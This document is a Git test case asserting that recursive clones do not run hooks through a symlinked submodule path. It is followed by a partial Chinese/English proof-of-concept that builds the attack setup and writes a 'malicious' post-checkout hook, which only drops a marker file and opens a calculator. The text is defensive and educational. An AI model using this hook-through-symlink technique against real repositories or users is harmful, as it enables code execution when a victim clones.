test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \ 'submodule paths must not follow symlinks' ' # This is only needed because we want to run this in a self-contained # test without having to spin up an HTTP server; However, it would not # be needed in a real-world scenario where the submodule is simply # hosted on a public site. test_config_global protocol.file.allow always && # Make sure that Git tries to use symlinks on Windows test_config_global core.symlinks true && tell_tale_path="$PWD/tell.tale" && git init hook && ( cd hook && mkdir -p y/hooks && write_script y/hooks/post-checkout <<-EOF && echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" EOF git add y/hooks/post-checkout && test_tick && git commit -m post-checkout ) && hook_repo_path="$(pwd)/hook" && git init captain && ( cd captain && git submodule add --name x/y "$hook_repo_path" A/modules/x && test_tick && git commit -m add-submodule && printf .git >dotgit.txt && git hash-object -w --stdin <dotgit.txt >dot-git.hash && printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info && git update-index --index-info <index.info && test_tick && git commit -m add-symlink ) && test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path" '
# 允许使用file协议 git config --global protocol.file.allow always # 启用对符合链接的支持 git config --global core.symlinks true # optional, but I added it to avoid the warning message # 设置默认分支名 main 避免出现告警信息 git config --global init.defaultBranch main
# 定义标志文件路径 # Define the tell-tale path tell_tale_path="$PWD/tell.tale"
# 初始化hook仓库 # Initialize the hook repository git init hook cd hook mkdir -p y/hooks
# 编写恶意hook代码 # Write the malicious code to a hook cat > y/hooks/post-checkout <<EOF #!/bin/bash echo "amal_was_here" > /tmp/pwnd calc.exe open -a Calculator.app EOF
# 设置hook文件的可执行权限 # Make the hook executable: important chmod +x y/hooks/post-checkout